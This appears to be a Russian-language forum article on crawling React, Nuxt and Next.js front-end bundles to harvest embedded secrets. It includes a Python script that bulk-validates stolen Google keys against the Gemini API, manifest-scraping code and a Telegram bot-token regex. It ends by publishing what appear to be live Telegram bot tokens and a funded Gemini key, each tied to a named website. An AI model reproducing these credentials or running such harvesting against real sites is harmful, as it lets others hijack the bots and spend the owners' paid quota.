Почему это интересно?
nextjs-firechat/shared/configs/firebase.js at main · ytliuSVN/nextjs-firechat
Исходный код. Минификация затрудняет чтение, однако изменению подвергаются названия переменных, но не значения, API-ключи прилетают в виде чистого текста.
И это не уязвимость, так работает сама природа фронтенда.
На скриншоте Firebase-ключ. Сервис выступает бэкендом для приложения. Ключ публичный по дизайну, но в то же время он общий для Google-инфраструктуры и способен открывать неожиданные двери, в том числе Gemini.
Спойлер: Проверка ключа
import requests
import sys
KEYS_FILE = 'keys.txt'
VALID_KEYS_FILE = 'valid.txt'
GEMINI_API_URL = "https://generativelanguage.googleapis.com/v1beta/models?key={}"
def read_keys(filepath):
try:
with open(filepath, 'r') as f:
keys = [line.strip() for line in f if line.strip()]
return keys
except FileNotFoundError:
print(f"Ошибка: Файл '{filepath}' не найден.")
sys.exit(1)
def save_valid_keys(valid_keys):
try:
with open(VALID_KEYS_FILE, 'w') as f:
for key in valid_keys:
f.write(key + '\n')
print(f"\nСохранено {len(valid_keys)} валидных ключей в файл '{VALID_KEYS_FILE}'")
except Exception as e:
print(f"\nОшибка при сохранении ключей: {e}")
def check_gemini_keys(api_keys):
valid_keys = []
for key in api_keys:
url = GEMINI_API_URL.format(key)
try:
response = requests.get(url, timeout=30)
status_code = response.status_code
if status_code == 200:
try:
data = response.json()
models_count = len(data.get('models', []))
status_text = f"Валидный (доступно моделей: {models_count})"
except:
status_text = "Валидный ключ"
valid_keys.append(key)
elif status_code == 400:
data = response.json()
error_msg = data.get('error', {}).get('message', '')
if 'API key not valid' in error_msg or 'API_KEY_INVALID' in error_msg:
status_text = "Невалидный ключ"
elif 'API key expired' in error_msg:
status_text = "Срок действия истек"
else:
status_text = f"Bad Request: {error_msg[:50]}"
elif status_code == 401:
status_text = "Неавторизован"
elif status_code == 403:
data = response.json()
error_msg = data.get('error', {}).get('message', '')
if 'billing' in error_msg.lower() or 'quota' in error_msg.lower():
status_text = "Проблемы с биллингом/квотой"
elif 'disabled' in error_msg.lower():
status_text = "API отключен для этого ключа"
else:
status_text = f"403: {error_msg[:40]}"
elif status_code == 429:
status_text = "Превышен лимит запросов"
else:
try:
data = response.json()
error_msg = data.get('error', {}).get('message', response.reason)
except:
error_msg = response.reason
status_text = f"Ошибка: {error_msg[:50]}"
except requests.exceptions.Timeout:
status_code = "N/A"
status_text = "Превышено время ожидания"
except requests.exceptions.ConnectionError:
status_code = "N/A"
status_text = "Проблемы с сетью"
except requests.exceptions.RequestException as e:
status_code = "N/A"
status_text = f"Ошибка: {str(e)[:50]}"
print(f"{key} {str(status_code)} {status_text}")
return valid_keys
def main():
api_keys = read_keys(KEYS_FILE)
if not api_keys:
print(f"Файл '{KEYS_FILE}' пуст или не содержит ключей.")
sys.exit(0)
print(f"Найдено {len(api_keys)} ключей в файле '{KEYS_FILE}'.")
valid_keys = check_gemini_keys(api_keys)
if valid_keys:
save_valid_keys(valid_keys)
else:
print("\nВалидных ключей не найдено.")
print("Скрипт завершил исполнение")
if __name__ == "__main__":
main()
Код читает API-ключи из файла и проверяет их валидность на Gemini API. Используется бесплатный эндпоинт для получения списка моделей (не тратит квоту генерации).
Краулер SPA весьма простая штука с интересными особенностями. Код прикреплён к статье, он повторяет описанную логику.
Типичное React-приложение. Один root div, один js-бандл — верный паттерн, перед нами React.
Вырисовывается следующая логика: один GET-запрос, далее проверка JavaScript на наличие секретов. Вроде бы всё, но есть ещё одна вещь, которую нужно учесть, она называется ленивая загрузка.
SPA-приложения отдают весь JavaScript во время первой загрузки. Порой это не лучшее решение, например, при роутинге. Выходом из ситуации может быть отдача части JavaScript по мере необходимости. Это и есть ленивая загрузка.
Особенность в том, что роутинг часто, НО не обязательно, реализуется через ленивую загрузку.
// Без ленивой загрузки
import Home from './pages/Home';
import About from './pages/About';
<Routes>
<Route path="/" element={<Home />} />
<Route path="/about" element={<About />} />
</Routes>
// С ленивой загрузкой
import { lazy, Suspense } from 'react';
const Home = lazy(() => import('./pages/Home'));
const About = lazy(() => import('./pages/About'));
<Suspense fallback={<div>Загрузка...</div>}>
<Routes>
<Route path="/" element={<Home />} />
<Route path="/about" element={<About />} />
</Routes>
</Suspense>
Как и наоборот: возможен сценарий, в рамках которого в приложении всего одна страница, но при этом часть кода отдаётся через ленивую загрузку, например, по нажатию кнопки или любому другому событию.
Рассмотрим процесс подгрузки.
Проверим бандл и обнаружим, что он содержит в себе чанки, которые могут быть подгружены в будущем.
Дополняем логику. Помимо проверки на ключи, исходный бандл следует проверять на наличие ленивых компонентов с помощью паттерна. В данном случае он содержит в себе import (паттерн напрямую зависит от сборщика, в примере сборщик Vite).
LAZY_PATTERN = r'import\(\s*[\'"`]\./([^\'"`]+\.js)[\'"`]\s*\)'
После обнаружения уникальных чанков следует формировать ссылку, пример которой мы ранее обнаружили во вкладке Network: она включает в себя assets, а далее полученные чанки нужно проверять на ключи.
Вот и весь React-краулер. Точно так же будет работать Vue/Svelte-краулер, только вместо root div будет app div.
А следует ли рекурсивно проверять ленивую загрузку на наличие компонентов с ленивой загрузкой? В чистом React такой паттерн разработки видится мне настолько маловероятным, что отвечу я отрицательно.
Но не React’ом единым.
Мета-фреймворки призваны превращать довольно простые библиотеки в полноценный комбайн с возможностью оптимизации SEO-задач и гибким подходом к формированию контента.
А подход рекурсивного парсинга это буквально краулер Nuxt.
По сигнатуре _nuxt определяем фреймворк. Далее делаем запрос на главную страницу и собираем все чанки (в отличие от чистого React, здесь их определённое множество), проверяем их на ключи.
Чанки, в свою очередь, могут содержать упоминание .js-файлов. Собираем их в чанках, формируем ссылку, рекурсивно проверяя найденные .js-файлы на наличие новых .js-файлов, попутно проверяя, была ли уже осуществлена проверка, и наличие секторов.
Вот и вся идея Nuxt-краулера.
Но не Nuxt’ом единым. Каждый фреймворк имеет свои особенности.
Админ-панель на Next.js.
Через объект window.__BUILD_MANIFEST утекают все чанки всех страниц приложения. Одновременно современная и в то же время весьма странная архитектура.
Next может быть сконфигурирован с помощью двух различных роутингов - page routing и app routing. Утечка чанков происходит во время использования страничного роутинге.
Определяем сигнатуру Next.js — _next.
Осуществляем GET-запрос на основной URL. Следом собираем чанки, которые присутствуют на странице, и проверяем их на ключи. Затем забираем объект window.__BUILD_MANIFEST, проще всего сделать это через headless-браузер и библиотеку Playwright
def get_build_manifest(url):
print(f"\nОткрываю хедлес браузер для поиска BUILD_MANIFEST...")
try:
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
page.goto(url, wait_until='networkidle', timeout=10000)
page.wait_for_timeout(2000)
manifest = page.evaluate("window.__BUILD_MANIFEST")
browser.close()
if manifest:
print("BUILD_MANIFEST найден!")
return manifest
else:
print("window.__BUILD_MANIFEST не найден!")
return None
except Exception as e:
print(f"Ошибка: {e}")
return None
App routing не содержит явного билд-манифеста на клиенте, в такой конфигурации он вынесен на сервер.
На клиенте содержится _buildManifest.js, но он не столь информативен.
Впрочем, рядом лежит файл _ssgManifest.js.
В Next.js существуют разные типы рендеринга. Если упростить, чтобы не запутаться: JavaScript может отдаваться и рендериться на клиенте это Client Side Rendering; рендериться и отдаваться через сервер это Server Side Rendering; также сервер может отдавать чистую статику это SSG, Static Site Generation.
Сервер может отдать файл _ssgManifest.js, но путь к нему проходит через строку со случайной генерацией, по типу 2k8q7vyr89tepey_05_FL.
Строка содержится в исходном билде, перед
self.__next_f.push([1,"0:{\"P\":null,\"b\":"
Также App Router содержит объект self.__next_f с частью чанков (под капотом используются React Server Components, которые подгружают информацию с помощью серверной генерации, но часть уже содержится в этих чанках).
Логика работы краулера Next.js с App Router: GET-запрос на основную страницу, проверка чанков с неё, получение ssgManifest, проверка чанков с найденными в нём URL, проверка self.__next_f, проверка чанков на секреты.
В коде файл config.py отвечает за различные секреты, которые можно обнаружить на сайтах.
На сайтах можно встретить ключи к AI-моделям.
Ключи от ботов: регулярное выражение
"pattern": r"\b\d+:[A-Za-z0-9_-]{14,256}\b"
Ключи от платёжных шлюзов.
Строки подключения к различным сервисам.
Файл config.py может быть расширен и другими переменными.
Спойлер: Код
Спойлер: Найденые ключи
5 ключей телеграм бота на одном сайте - https://app.betbots.com.br/ https://app.betbots.com.br/static/js/main.7f01f9ac.chunk.js - Файл с ключами 910707773:AAH474-3GXHLMT8JRIKFgAkgKHN3xEZ3zeY - @betbotsbot01_bot - Bet Bots (ID: 910707773) 934866398:AAEGgBaRpqqVlGVpD4Xw4bTwk2ROG75zDv8 - @betbotsbot02_bot - Bet Bots (ID: 934866398) 774242678:AAERgC_N6EaEP6T-8ykOwGiaswRUr5-oHk0 - @BetBotsBot03_bot - BetBots (ID: 774242678) 890783891:AAGiZWMU7zoEEMqD5JeRsM-4PLR2Ah6ItII - @BetBotsBot04_bot - Bet Bots (ID: 890783891) 957079959:AAFJ71F0m6QNIAcwY_5g0XilHvDyEDdXvVg - @BetBotsBot05_bot - Bet Bots (ID: 957079959) Еще ключи телеграм ботов найденные с помощью кода https://sticlapiatra.md/assets/index-CYx2RBEV.js 8506729653:AAE3jV7KQge3wkVjINXKjZC4QmLoV-TSLhg - @sticlapiatra_bot - sticlapiatra_bot (ID: 8506729653) https://cavelounge.md/assets/index-C7lfuu16.js 8580086219:AAGnLOHq8n0loijKdpuSUmO6kFHuJv46QdY - @CaveLoungeBot - Cave Lounge Bot (ID: 8580086219) Gemini ключ с балансом https://www.foxy.in/static/js/main.43d0e4ba.js AIzaSyB9bIWcjq8UdU6SGQ8F8QbNtwlbsztClEA
LIMB